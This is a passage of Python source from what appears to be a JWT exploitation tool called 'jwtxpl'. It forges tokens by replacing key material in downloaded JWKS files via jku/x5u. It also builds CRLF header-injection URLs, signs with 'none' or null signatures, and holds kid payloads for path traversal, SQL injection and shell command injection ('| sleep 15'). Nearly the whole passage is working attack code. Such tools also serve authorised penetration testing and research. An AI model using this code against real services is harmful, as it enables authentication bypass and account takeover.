sys.exit(1)
if self.manual:
url = self.x5u_basic
else:
if any(self.x5u_basic.endswith(end) for end in commons_jwks_url_ends):
print(f"{Bcolors.FAIL}jwtxpl: error: '/.well-known/jwks.json' will automatically be appended to your url. If you need to specify the complete url please use --manual{Bcolors.ENDC}")
sys.exit(5)
url = self.x5u_basic.rstrip("/") + "/.well-known/jwks.json"
self.x5u_basic_attack(header_dict)
header_dict['x5u'] = url
elif self.x5u_header_injection:
if "x5u" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT has no x5u header{Bcolors.ENDC}")
sys.exit(1)
if "HERE" not in self.x5u_header_injection:
print(f"{Bcolors.FAIL}jwtxpl: error: you have to specify HERE keyword in the place you want to inject{Bcolors.ENDC}")
sys.exit(5)
body = self.x5u_via_header_injection(header_dict)
content_length = len(body)
body = Cracker.url_escape(body, "[]{}")
injection = f"%0d%0aContent-Length:+{content_length}%0d%0a%0d%0a{body}"
url = self.x5u_header_injection.replace("HERE", injection)
header_dict['x5u'] = url
elif self.generate_jwk:
jwk_id = header_dict['kid'] if 'kid' in header_dict.keys() else "identifier"
if self.alg[:2] in ["RS", "PS"]:
numbers = [self.key.pub.n, self.key.pub.e]
elif self.alg[:2] == "ES":
numbers = [self.key.pub.x, self.key.pub.y]
crafted_jwk = Cracker.gen_new_jwk(jwk_id, numbers, jwa=self.alg)
header_dict = Cracker.embed_jwk_in_jwt_header(header_dict, crafted_jwk)
if self.user_payload:
for item in self.user_payload:
payload_dict = Cracker.change_payload(item[0], payload_dict, quiet=self.quiet)
if self.complex_payload:
ifprint(not self.quiet, f"{Bcolors.WARNING}jwtxpl: warn: deprecation warning! --complex-payload has been merged in --payload. You should move towards it. --complex-payload will be removed in future releases{Bcolors.ENDC}")
for item in self.complex_payload:
payload_dict = Cracker.change_payload(item[0], payload_dict, quiet=self.quiet)
if self.remove_from:
for item in self.remove_from:
try:
from_dict = item[0].split(":")[0]
to_del = item[0].split(":")[1]
except IndexError:
print(f"{Bcolors.FAIL}jwtxpl: error: --remove-from must have key:value syntax, where key is header or payload{Bcolors.ENDC}")
sys.exit(5)
if from_dict != "header" and from_dict != "payload":
print(f"{Bcolors.FAIL}jwtxpl: error: you can delete keys only from header or payload{Bcolors.ENDC}")
sys.exit(6)
if from_dict == "header" and to_del == "alg" or from_dict == "header" and to_del == "typ":
print(f"{Bcolors.FAIL}jwtxpl: error: deleting key {to_del} will invalidate the token{Bcolors.ENDC}")
sys.exit(1)
if from_dict == "header":
header_dict = Cracker.delete_key(header_dict, to_del)
elif from_dict == "payload":
payload_dict = Cracker.delete_key(payload_dict, to_del)
new_header = json.dumps(header_dict, separators=(",", ":"))
new_payload = json.dumps(payload_dict, separators=(",", ":"))
return new_header, new_payload
def jku_basic_attack(self, header):
"""
:param header: The header dictionary -> dict.
Gets the jwks.json file from the url specified in the jku header. Then loads the file as json in order to
accesses it to change the modulus and the exponent with the ones of our generated key. Then creates a new
file named jwks.json in the current working directory and writes the dump of the jwks dict into it.
"""
filename = Cracker.download_jwks(header['jku'])
if filename is None:
print(f"{Bcolors.FAIL}jwtxpl: error: can't download jwks file from url specified in x5u header{Bcolors.ENDC}")
sys.exit(1)
with open(filename) as jwks_orig_file:
jwks_dict = json.load(jwks_orig_file)
if len(jwks_dict['keys']) == 1:
index = 0
else:
sign_hash = Cracker.get_sign_hash(self.alg)
index = Cracker.find_verifier_key_from_jwks(self.token, jwks_dict, sign_hash, jwa=self.alg)
try:
if self.alg[:2] in ["RS", "PS"]:
jwks_dict['keys'][index]['e'] = base64.urlsafe_b64encode(
self.key.pub.e.to_bytes(self.key.pub.e.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['n'] = base64.urlsafe_b64encode(
self.key.pub.n.to_bytes(self.key.pub.n.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
elif self.alg[:2] == "ES":
jwks_dict['keys'][index]['x'] = base64.urlsafe_b64encode(
self.key.pub.x.to_bytes(self.key.pub.x.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['y'] = base64.urlsafe_b64encode(
self.key.pub.y.to_bytes(self.key.pub.y.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
except (TypeError, IndexError):
print(f"{Bcolors.FAIL}jwtxpl: error: non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
os.remove(filename)
with open("jwks.json", 'w') as file:
file.write(json.dumps(jwks_dict, indent=4))
def jku_via_header_injection(self, header):
"""
:param header: The header dictionary -> dict.
Same as self.jku_basic_attack, but instead of write a jwks file, returns the content in an HTTP response body
format.
:return: The crafted jwks string in an HTTP response body format.
"""
filename = Cracker.download_jwks(header['jku'])
if filename is None:
print(f"{Bcolors.FAIL}jwtxpl: error: can't download jwks file from url specified in x5u header{Bcolors.ENDC}")
sys.exit(1)
with open(filename) as jwks_orig_file:
jwks_dict = json.load(jwks_orig_file)
if len(jwks_dict['keys']) == 1:
index = 0
else:
sign_hash = Cracker.get_sign_hash(self.alg)
index = Cracker.find_verifier_key_from_jwks(self.token, jwks_dict, sign_hash, jwa=self.alg)
try:
if self.alg[:2] in ["RS", "PS"]:
jwks_dict['keys'][index]['e'] = base64.urlsafe_b64encode(
self.key.pub.e.to_bytes(self.key.pub.e.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['n'] = base64.urlsafe_b64encode(
self.key.pub.n.to_bytes(self.key.pub.n.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
elif self.alg[:2] == "ES":
jwks_dict['keys'][index]['x'] = base64.urlsafe_b64encode(
self.key.pub.x.to_bytes(self.key.pub.x.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['y'] = base64.urlsafe_b64encode(
self.key.pub.y.to_bytes(self.key.pub.y.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
except (TypeError, IndexError):
print(f"{Bcolors.FAIL}jwtxpl: error: non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
body = json.dumps(jwks_dict)
os.remove(filename)
return body
def x5u_basic_attack(self, header):
"""
:param header: The header dictionary -> dict
Gets the jwks.json file from the url specified in the x5u header. Then loads the file as json in order to
access it and changes the x5c (the X509 cert) with our generated one. Then creates a file named jwks.json
in the current working directory and write the dump of the jwks dict into it.
"""
filename = Cracker.download_jwks(header['x5u'])
if filename is None:
print(f"{Bcolors.FAIL}jwtxpl: error: can't download jwks file from url specified in x5u header{Bcolors.ENDC}")
sys.exit(1)
with open(filename) as jwks_orig_file:
jwks_dict = json.load(jwks_orig_file)
if len(jwks_dict['keys']) == 1:
index = 0
else:
sign_hash = Cracker.get_sign_hash(self.alg)
index = Cracker.find_verifier_key_from_jwks(self.token, jwks_dict, sign_hash, jwa=self.alg)
try:
if isinstance(jwks_dict['keys'][index]['x5c'], list):
jwks_dict['keys'][index]['x5c'].insert(0, self.x5c)
else:
jwks_dict['keys'][index]['x5c'] = self.x5c
if self.alg[:2] in ["RS", "PS"]:
jwks_dict['keys'][index]['n'] = base64.urlsafe_b64encode(
self.key.pub.n.to_bytes(self.key.pub.n.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['e'] = base64.urlsafe_b64encode(
self.key.pub.e.to_bytes(self.key.pub.e.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
elif self.alg[:2] == "ES":
jwks_dict['keys'][index]['x'] = base64.urlsafe_b64encode(
self.key.pub.x.to_bytes(self.key.pub.x.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['y'] = base64.urlsafe_b64encode(
self.key.pub.y.to_bytes(self.key.pub.y.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
# Need an else? Even if alg has already been validated???
except (TypeError, IndexError):
print(f"{Bcolors.FAIL}jwtxpl: error: non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
os.remove(filename)
with open("jwks.json", 'w') as file:
file.write(json.dumps(jwks_dict, indent=4))
def x5u_via_header_injection(self, header):
"""
:param header: The header dictonary -> dict
Same as self.x5u_basic attack, but instead of write the jwks file, returns its content in an HTTP response
body format.
:return: The crafted jwks string in an HTTP response body format.
"""
filename = Cracker.download_jwks(header['x5u'])
if filename is None:
print(f"{Bcolors.FAIL}jwtxpl: error: can't download jwks file from url specified in x5u header{Bcolors.ENDC}")
sys.exit(1)
with open(filename) as jwks_orig_file:
jwks_dict = json.load(jwks_orig_file)
if len(jwks_dict['keys']) == 1:
index = 0
else:
sign_hash = Cracker.get_sign_hash(self.alg)
index = Cracker.find_verifier_key_from_jwks(self.token, jwks_dict, sign_hash, jwa=self.alg)
try:
if isinstance(jwks_dict['keys'][index]['x5c'], list):
jwks_dict['keys'][index]['x5c'].insert(0,self.x5c)
else:
jwks_dict['keys'][index]['x5c'] = self.x5c
if self.alg[:2] in ["RS", "PS"]:
jwks_dict['keys'][index]['n'] = base64.urlsafe_b64encode(
self.key.pub.n.to_bytes(self.key.pub.n.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['e'] = base64.urlsafe_b64encode(
self.key.pub.e.to_bytes(self.key.pub.e.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
elif self.alg[:2] == "ES":
jwks_dict['keys'][index]['x'] = base64.urlsafe_b64encode(
self.key.pub.x.to_bytes(self.key.pub.x.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
jwks_dict['keys'][index]['y'] = base64.urlsafe_b64encode(
self.key.pub.y.to_bytes(self.key.pub.y.bit_length() // 8 + 1, byteorder='big')
).decode('utf-8').rstrip("=")
except (TypeError, IndexError):
print(f"{Bcolors.FAIL}jwtxpl: error: Non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
body = json.dumps(jwks_dict)
os.remove(filename)
return body
def select_signature(self, partial_token):
"""
Creates a signature for the new token.
:param partial_token: The first two part of the crafted jwt -> str.
If self.unverified is present its define the signature as the one of the original token.
Else, it checks which algorithm has been chosen by the user; with 'None' algorithm it stores an empty string
as signature, while with HS256 it encrypts the partial_token with the key (self.keys) and, of course, using
sha256. It encodes it in base64, and strips all trailing '='. With RSA it use self.key.priv to sign the token,
using sha256 as algorithm and PKCS1v15 as padding. It encodes it in base64 and strips all trailing '='.
:return: The generated signature.
"""
if self.null_signature:
signature = ""
elif self.unverified:
signature = self.token_dict['signature']
else:
sign_hash = Cracker.get_sign_hash(self.alg)
try:
if self.alg == "None" or self.alg == "none":
signature = ""
elif self.alg[:2] == "HS":
if self.key is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key is needed with HS*{Bcolors.ENDC}")
sys.exit(4)
signature = Cracker.sign_token_with_hmac(self.key, partial_token, sign_hash)
elif self.alg[:2] == "RS":
if self.key is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key is needed with RS*{Bcolors.ENDC}")
sys.exit(4)
signature = Cracker.sign_token_with_rsa_pkcs1(self.key, partial_token, sign_hash)
elif self.alg[:2] == "PS":
if self.key is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key is needed with PS*{Bcolors.ENDC}")
sys.exit(4)
signature = Cracker.sign_token_with_rsa_pss(self.key, partial_token, sign_hash)
elif self.alg[:2] == "ES":
if self.key is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key is needed with ES*{Bcolors.ENDC}")
sys.exit(4)
signature = Cracker.sign_token_with_ec(self.key, partial_token, sign_hash)
except (TypeError, AttributeError):
print(f"{Bcolors.FAIL}jwtxpl: error: key mismatch. The key you passed is not compatible with {self.alg}{Bcolors.ENDC}")
sys.exit(2)
return signature
@staticmethod
def inject_kid(payload):
"""
A function to test for injections in the kid header.
:param payload: The payload to select -> str
Defines a dictionary containing payloads to inject in the key header, and grabs the ones select by the user.
This function is intended to be updated with new payloads.
:return: The related payload string
"""
kid_payloads = {
"DirTrv": "../../../../../dev/null",
"SQLi": "' union select 'zzz",
"RCE": f"| sleep 15",
}
return kid_payloads[payload]
@staticmethod
def check_token(token):
"""
A method for verify if a JWT have a valid pattern.
:param token: A JWT -> str.
Creates a regex pattern and looks if the token match it.
:return: True, if the token match the pattern, False if not.
"""
token_pattern = r"^eyJ.+\.eyJ.+\..*$"
match = re.match(token_pattern, token)
if match:
return True
else:
return False
@staticmethod
def dictionarize_token(token):
"""
A method that stores in a dict the three part ok a JWT.
:param token: A JWT -> str.
Splits the token in three part (header, payload, signature) and creates a dict with thees data.
:return: The created dict object
"""
token_list = token.split(".")
if len(token_list) < 3:
token_list.append("")
token_dict = dict(header=token_list[0], payload=token_list[1], signature=token_list[2])
return token_dict
@staticmethod
def append_equals_if_needed(string):
"""
Corrects a string that is intended to be base64 decoded.
:param string: A string, base64 encoded part of a JWT -> str.
Since JWT are base64 encoded but the equals signs are stripped, this function appends them to the
string given as input, only if necessary.
If the string can't be decoded after the second equal sign has been appended, it returns an error.
:return: A byte-string ready to be base64 decoded.
"""
encoded = string.encode()
final_text = b""
i = 0
while not final_text:
try:
base64.urlsafe_b64decode(encoded)
final_text = encoded
return final_text
except binascii.Error:
if i == 2:
print(f"{Bcolors.FAIL}jwtxpl: error: error during token or jwks base64 decoding.{Bcolors.ENDC}")
sys.exit(1)
encoded += b'='
i += 1
@staticmethod
def url_escape(string, chars, spaces=True):
"""
:param string: The string to url encode -> str
:param chars: The only characters to encode in the string -> str
:param spaces: If true automatically appends a space to the chars parameter -> bool
The function, given a string, replaces characters specified in the chars parameter with their url encoded one.
By default, if the space character is not specified in the chars parameter, the function automatically appends it.
:return: The original string with the specified characters url encoded
"""
if " " not in chars and spaces:
chars += " "
encoded = [parse.quote(char).lower() for char in chars]
for i in range(len(chars)):
string = string.replace(chars[i], encoded[i])
return string
@staticmethod
def decode_encoded_token(iterable, quiet=False):
"""
:param iterable: A dict object populated with the three parts of a JWT -> dict.
This function simply take the header and the payload from a dictionary created with dictionarize_token, passes